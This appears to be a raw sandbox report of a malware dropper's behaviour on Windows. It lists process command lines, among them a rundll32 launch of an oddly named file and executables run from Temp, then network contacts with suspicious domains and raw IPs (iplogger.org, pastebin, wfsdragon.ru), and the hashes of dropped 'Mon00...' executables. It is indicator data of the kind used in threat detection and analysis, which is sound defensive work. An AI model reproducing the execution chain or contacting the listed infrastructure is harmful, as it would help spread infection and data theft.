"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3144,i,15526155844256383364,17088594853170476665,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3184 /prefetch:1
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4568,i,15526155844256383364,17088594853170476665,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4576 /prefetch:1
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4428 -ip 4428
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 932
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4348,i,15526155844256383364,17088594853170476665,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4392 /prefetch:8
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4428 -ip 4428
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 1100
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4428 -ip 4428
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 1172
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4428 -ip 4428
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 1388
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4844,i,15526155844256383364,17088594853170476665,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4908 /prefetch:8
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=3700,i,15526155844256383364,17088594853170476665,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5196 /prefetch:8
C:\Users\Admin\AppData\Local\Temp\e599c94.exe
"C:\Users\Admin\AppData\Local\Temp\e599c94.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1168 -ip 1168
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1168 -s 780
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4428 -ip 4428
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 1268
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4428 -ip 4428
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 924
C:\Users\Admin\AppData\Local\Temp\e59c867.exe
"C:\Users\Admin\AppData\Local\Temp\e59c867.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1456 -ip 1456
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 780
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4428 -ip 4428
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 1104
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | hsiens.xyz | udp |
| US | 8.8.8.8:53 | www.listincode.com | udp |
| US | 8.8.8.8:53 | iplogger.org | udp |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| NL | 45.133.1.107:80 | tcp | |
| NL | 45.133.1.107:80 | tcp | |
| US | 8.8.8.8:53 | 46.2.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 8.8.8.8:53 | topniemannpickshop.cc | udp |
| US | 162.159.134.233:443 | cdn.discordapp.com | tcp |
| GB | 142.250.200.3:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | niemannbest.me | udp |
| US | 8.8.8.8:53 | all-mobile-pa1ments.com.mx | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | buy-fantasy-football.com.sg | udp |
| US | 8.8.8.8:53 | 233.134.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 3.200.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | propanla.com | udp |
| US | 8.8.8.8:53 | mas.to | udp |
| US | 172.67.166.96:443 | mas.to | tcp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | 96.166.67.172.in-addr.arpa | udp |
| FR | 91.121.67.60:2151 | tcp | |
| US | 8.8.8.8:53 | ppp-gl.biz | udp |
| US | 107.178.223.183:80 | ppp-gl.biz | tcp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | 183.223.178.107.in-addr.arpa | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | www.iyiqian.com | udp |
| N/A | 127.0.0.1:63475 | tcp | |
| N/A | 127.0.0.1:63477 | tcp | |
| SG | 13.251.16.150:80 | www.iyiqian.com | tcp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | www.google.com | udp |
| GB | 172.217.16.228:443 | www.google.com | tcp |
| GB | 172.217.16.228:443 | www.google.com | tcp |
| GB | 172.217.16.228:443 | www.google.com | tcp |
| US | 8.8.8.8:53 | 150.16.251.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| GB | 172.217.16.228:443 | www.google.com | udp |
| US | 8.8.8.8:53 | 35.200.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.200.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.16.217.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 107.178.223.183:80 | ppp-gl.biz | tcp |
| US | 107.178.223.183:80 | ppp-gl.biz | tcp |
| US | 8.8.8.8:53 | clients2.google.com | udp |
| GB | 142.250.178.14:443 | clients2.google.com | tcp |
| US | 8.8.8.8:53 | 14.178.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | 68.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 104.20.4.235:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | wfsdragon.ru | udp |
| US | 104.20.4.235:443 | pastebin.com | tcp |
| US | 104.21.5.208:80 | wfsdragon.ru | tcp |
| US | 104.21.5.208:80 | wfsdragon.ru | tcp |
| FR | 51.178.186.149:80 | tcp | |
| FR | 51.178.186.149:80 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| US | 8.8.8.8:53 | 235.4.20.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.5.21.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | 212.20.149.52.in-addr.arpa | udp |
| FR | 91.121.67.60:2151 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| N/A | 224.0.0.251:5353 | udp | |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | 241.42.69.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| FR | 91.121.67.60:2151 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| FR | 91.121.67.60:2151 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 72.84.118.132:8080 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FR | 91.121.67.60:2151 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| NL | 45.9.20.13:80 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| US | 8.8.8.8:53 | beacons.gcp.gvt2.com | udp |
| GB | 172.217.16.227:443 | beacons.gcp.gvt2.com | tcp |
| US | 8.8.8.8:53 | 227.16.217.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| FR | 91.121.67.60:2151 | tcp | |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | staticimg.youtuuee.com | udp |
Files
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\setup_install.exe
| MD5 | ca649f3a6e34a11e861537b17b01e260 |
| SHA1 | b7e133dcc4661efd2ede4d078292f900473c9d3c |
| SHA256 | 606f0d287d8128e3a5b685a5ba659bde37edb9adccff260695cd0c10c6245c9a |
| SHA512 | e883e3d059a6ede0ff5d39cf9b679127bc640836ebe54b8460f14c1d75949dc5b01e27e4ed9a0ba461b4cfc2b7f46cf462dc642d5cbd3e4beebfd12ab74c3715 |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\libgcc_s_dw2-1.dll
| MD5 | 9aec524b616618b0d3d00b27b6f51da1 |
| SHA1 | 64264300801a353db324d11738ffed876550e1d3 |
| SHA256 | 59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e |
| SHA512 | 0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0 |
memory/2372-61-0x00000000007A0000-0x000000000082F000-memory.dmp
memory/2372-68-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2372-74-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2372-73-0x0000000064941000-0x000000006494F000-memory.dmp
memory/4644-75-0x0000000073B8E000-0x0000000073B8F000-memory.dmp
memory/2372-72-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/4644-76-0x00000000047A0000-0x00000000047D6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00e469051c4c7a.exe
| MD5 | e2f65b4d95e309cc35900bfd4125e0b6 |
| SHA1 | debd78147fc93aeb04e55b01ac31badad52a4d8e |
| SHA256 | 51fc72953df863f42e300f2a4c3466a86e6e97f066f3bcabf9a342647eb096f3 |
| SHA512 | dd5ee48afb249e78aaa63d992488c4f663ba6bd2b2252f85e6d133db0d700d72efbe3ddfe88d4e14dfc2d53a40ce8326d8a8c9c5941999be9393bfbe92a0dbe0 |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00d0d86f7f1e6.exe
| MD5 | 57d5ff3df107c648b937d9a9f2b2913a |
| SHA1 | 976981fdecd8a4eba69470e48515e1dfb8183d19 |
| SHA256 | a35c57c48ea797dc9f1a891aed4b2cef9f4bbacbf24fe317164dbaa02c43bcb8 |
| SHA512 | e74e3772dd494a71f9073c6057ff7e9f7e1e7af4dcfb30832ca32f998ae1a3351f4adb9f774ac617bf55f73aba8e39d5777b500fcf7dcab6f70d58e899cce3e4 |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00ef1e53f6f539435.exe
| MD5 | 0d3a4198164c04b532d466c8ccc230e7 |
| SHA1 | cfdb6ce04212f543f8e2bf8cd784e3c635e9a289 |
| SHA256 | 900033e11a0853c12ec6135e9050e776f39b0bab77b7824aa98bef4db361a2f2 |
| SHA512 | d24655112faa883b506800a7b84f23b7446073c37e7d2f67289ec4fff0d54cba6aac7bfde8879dac6d3fa18b82cf96db1b2a2f8155e2b2a1e5c2ba9829004133 |
memory/4644-97-0x0000000073B80000-0x0000000074330000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00f8ffa77fe72688.exe
| MD5 | ba8541c57dd3aae16584e20effd4c74c |
| SHA1 | 5a49e309db2f74485db177fd9b69e901e900c97d |
| SHA256 | dbc19cdcdf66065ddb1a01488dac2961b7aa1cde6143e8912bf74c829eaa2c6c |
| SHA512 | 1bdc7461faf32bba7264de0d1f26365ee285de687edef7d957194897fc398145414a63ad5255e6fc5b559e9979d82cf49e8adf4d9d58b86405c921aec027866d |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00b1dca232.exe
| MD5 | 2de8d046d57fa60509800b164868a881 |
| SHA1 | 905be498f9490445da60c9ee457de1e8411ce074 |
| SHA256 | 02883fa63667972547fe36023646554c3d2895b41c5a8683ab5b2292f5d2d464 |
| SHA512 | addb7b321517a94e1c4da2835178063a739ec01fa6d2e23b8221a50b6d6371b298e5f25a4bbc13d7e3990ab6116f50907e8d7409ee123824c6579fe5f6597735 |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon0052c87b01411369.exe
| MD5 | 06ee576f9fdc477c6a91f27e56339792 |
| SHA1 | 4302b67c8546d128f3e0ab830df53652f36f4bb0 |
| SHA256 | 035373a454afd283da27ebf569ab355be7db470a1a30c3695e18c984b785e1f8 |
| SHA512 | e5b337158905651e2740378615fcd9a8ba2b5e46f02c75be20c22e89b4cb40e8f1dfec1c5c1135f4d59114da9200a772f591622eddb865880b296321d80fb616 |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon0086072e872c.exe
| MD5 | 91e3bed725a8399d72b182e5e8132524 |
| SHA1 | 0f69cbbd268bae2a7aa2376dfce67afc5280f844 |
| SHA256 | 18af3c7bdeb815af9abe9dcc4f524b2fb2a33ac9cc6784f31e302c10a8d09a0d |
| SHA512 | 280fe25f4813bc261dee3b38ad03364896f3b4f049dcf1d94c6c6e7abb09b47e06445746719d902281d04cc15879d745dd0b71a466fa31f952ae51f90360ae76 |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon001dcfc58b0850.exe
| MD5 | 7c20266d1026a771cc3748fe31262057 |
| SHA1 | fc83150d1f81bfb2ff3c3d004ca864d53004fd27 |
| SHA256 | 4b2fb0f42a923104b69a45aa7a503fbd08739ebf3711599303aa15692136fa46 |
| SHA512 | e18c803e38a2111857519639b1ac838edc5b496a79fc579c7329188c66ba791cc499874132e4d616c24447d0cc5ebe7659f69ed1a810bea1a675b94d089b995f |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00ea631982.exe
| MD5 | d08cc10c7c00e13dfb01513f7f817f87 |
| SHA1 | f3adddd06b5d5b3f7d61e2b72860de09b410f571 |
| SHA256 | 0fb8440355ee2a2fe55de0661199620353a01ed4fd1b0d0a2082f4c226e98e0d |
| SHA512 | 0b9b8c7da24cdb882bc9b7a37689bc0e81d39f1277017b44512e9a17d9e4e44b314d5b3e06f332d64f3f6953f84d309d4027842ef0000ff012e7af5c9012caa0 |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00806cfb48.exe
| MD5 | 69143c3e279096813040fa72b0371d4f |
| SHA1 | 689ee0137e029f58b34e20dab8f3115e3f7f323c |
| SHA256 | 1567686369bf90337140781d80a6a7f43f5a9ee5f0f6301977b66d794ca1297f |
| SHA512 | 7dc0a9603ba42b3c03904e479d6288a133c2c4ae5fb5106734d4e8a082f701eb5d2c023d5f66eb617324579e4ae3a704eb21982f958ba0d18c6246a4a151c18e |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00df41776583.exe
| MD5 | 5535284a6c2d931c336cb4e67b146eb2 |
| SHA1 | 1c1c64e2fba0d3bcd1a1851ec46a3163cc49dab0 |
| SHA256 | 9793a517c475fe2e4a361f6a6a99bb5dedd5d3a7db1b7ce6cf1f8f93c7f41b75 |
| SHA512 | 4833047de9198a7e92b35f1914c50f20a79778bb822cc282734cc0a95a2f4633dfe3e317ccbcd4fcc81b5f6d2242786d712eeab8e77dc589cbb693680a99767d |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00536518ad16.exe
| MD5 | 7c6b2dc2c253c2a6a3708605737aa9ae |
| SHA1 | cf4284f29f740b4925fb2902f7c3f234a5744718 |
| SHA256 | b45c9de845522095bbfa55166b519b2be36a08cea688491b9f339e862e79c3ba |
| SHA512 | 19579900d07912096641cc7381131ff6fcf60fffc99cdab23f7d8a577aa926bbf0e885a3a7869298bbfc0a05e276c1d5f45712812e4df6980e9554fc48162b07 |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00ffeff6b2.exe
| MD5 | 451dff36acd7410c285b73baf5946183 |
| SHA1 | 9f558e45a492185c7ed7ebfffe9cbcffc69383de |
| SHA256 | c0edb14c6a8417fe1eb17829d2838e9fad1b3cc3e748d585029f4a9c1c3c1551 |
| SHA512 | a4aebd9840e964e71c11e37e07bf148098465db58761e4000e384f2deae641ecaabb62c63fc6c4d1f711eb60f285b86ab23ff3f77a575832bc75e1072b5e113a |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon003b11682c.exe
| MD5 | a98672182143436478fdb3806ef6cd5a |
| SHA1 | 5d93bb55d9e7915afb11361f42a4c9c6393718b3 |
| SHA256 | 2010cb8b8069ae8e5527526b36f28b78766473b71b67d601351eb361dbef8528 |
| SHA512 | 0d2de593d1e194895833396c49efe194fca56afa3396e6aa41f8a51e961ea4f1ca97697ace0625ea97f5dfe7092b75049c58e582dda122cbc7966cb9a5d18892 |
memory/4644-78-0x0000000004F30000-0x0000000005558000-memory.dmp
memory/4644-77-0x0000000073B80000-0x0000000074330000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00946c5090.exe
| MD5 | 8aaec68031b771b85d39f2a00030a906 |
| SHA1 | 7510acf95f3f5e1115a8a29142e4bdca364f971f |
| SHA256 | dc901eb4d806ebff8b74b16047277b278d8a052e964453f5360397fcb84d306b |
| SHA512 | 4d3352fa56f4bac97d5acbab52788cad5794c9d25524ee0a79ef55bfc8e0a275413e34b8d91f4de48aedbe1a30f8f47a0219478c4620222f4677c55cf29162df |
memory/2372-71-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2372-70-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2372-69-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2372-67-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2372-66-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2372-65-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2372-64-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2372-63-0x000000006B440000-0x000000006B4CF000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\libstdc++-6.dll
| MD5 | 5e279950775baae5fea04d2cc4526bcc |
| SHA1 | 8aef1e10031c3629512c43dd8b0b5d9060878453 |
| SHA256 | 97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87 |
| SHA512 | 666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02 |
memory/2372-60-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2372-58-0x000000006B280000-0x000000006B2A6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\libcurl.dll
| MD5 | d09be1f47fd6b827c81a4812b4f7296f |
| SHA1 | 028ae3596c0790e6d7f9f2f3c8e9591527d267f7 |
| SHA256 | 0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e |
| SHA512 | 857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595 |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\libcurlpp.dll
| MD5 | e6e578373c2e416289a8da55f1dc5e8e |
| SHA1 | b601a229b66ec3d19c2369b36216c6f6eb1c063e |
| SHA256 | 43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f |
| SHA512 | 9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89 |
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\libwinpthread-1.dll
| MD5 | 1e0d62c34ff2e649ebc5c372065732ee |
| SHA1 | fcfaa36ba456159b26140a43e80fbd7e9d9af2de |
| SHA256 | 509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723 |
| SHA512 | 3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61 |
memory/2120-118-0x00000000002C0000-0x00000000002DA000-memory.dmp
memory/4644-109-0x0000000005740000-0x00000000057A6000-memory.dmp
memory/4644-108-0x00000000056D0000-0x0000000005736000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h1kbaa3j.hu2.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4644-104-0x0000000004EB0000-0x0000000004ED2000-memory.dmp
memory/4644-134-0x00000000058B0000-0x0000000005C04000-memory.dmp
memory/3464-135-0x0000000000C10000-0x0000000000C80000-memory.dmp
memory/2128-133-0x0000000000B70000-0x0000000000B78000-memory.dmp
memory/3904-132-0x0000000004EA0000-0x0000000004EBE000-memory.dmp
memory/2120-128-0x0000000000800000-0x0000000000806000-memory.dmp
memory/3904-127-0x0000000004D20000-0x0000000004D96000-memory.dmp
memory/3904-125-0x00000000005E0000-0x0000000000652000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-5FTAA.tmp\Mon001dcfc58b0850.tmp
| MD5 | 9303156631ee2436db23827e27337be4 |
| SHA1 | 018e0d5b6ccf7000e36af30cebeb8adc5667e5fa |
| SHA256 | bae22f27c12bce1faeb64b6eb733302aff5867baa8eed832397a7ce284a86ff4 |
| SHA512 | 9fe100fafb1c74728109667b5a2261a31e49c45723de748adaa1d9cb9f8daa389b871056c70066fa3a05be82a5017c8dd590ae149a56d824a9e250d31091a40f |
memory/3772-120-0x0000000000400000-0x0000000000414000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-RO7G4.tmp\idp.dll
| MD5 | b37377d34c8262a90ff95a9a92b65ed8 |
| SHA1 | faeef415bd0bc2a08cf9fe1e987007bf28e7218d |
| SHA256 | e5a0ad2e37dde043a0dd4ad7634961ff3f0d70e87d2db49761eb4c1f468bb02f |
| SHA512 | 69d8da5b45d9b4b996d32328d3402fa37a3d710564d47c474bf9e15c1e45bc15b2858dbab446e6baec0c099d99007ff1099e9c4e66cfd1597f28c420bb50fdcc |
memory/3904-148-0x0000000005580000-0x0000000005B24000-memory.dmp
memory/1844-154-0x0000000000400000-0x0000000000414000-memory.dmp
memory/3628-153-0x0000000000400000-0x00000000004BD000-memory.dmp
memory/3772-157-0x0000000000400000-0x0000000000414000-memory.dmp
memory/4644-165-0x0000000005DA0000-0x0000000005DEC000-memory.dmp
memory/4644-164-0x0000000005D50000-0x0000000005D6E000-memory.dmp
memory/2372-175-0x0000000000400000-0x000000000051C000-memory.dmp
memory/2372-184-0x0000000064940000-0x0000000064959000-memory.dmp
memory/1064-192-0x0000000000400000-0x0000000000422000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Mon003b11682c.exe.log
| MD5 | e5352797047ad2c91b83e933b24fbc4f |
| SHA1 | 9bf8ac99b6cbf7ce86ce69524c25e3df75b4d772 |
| SHA256 | b4643874d42d232c55bfbb75c36da41809d0c9ba4b2a203049aa82950345325c |
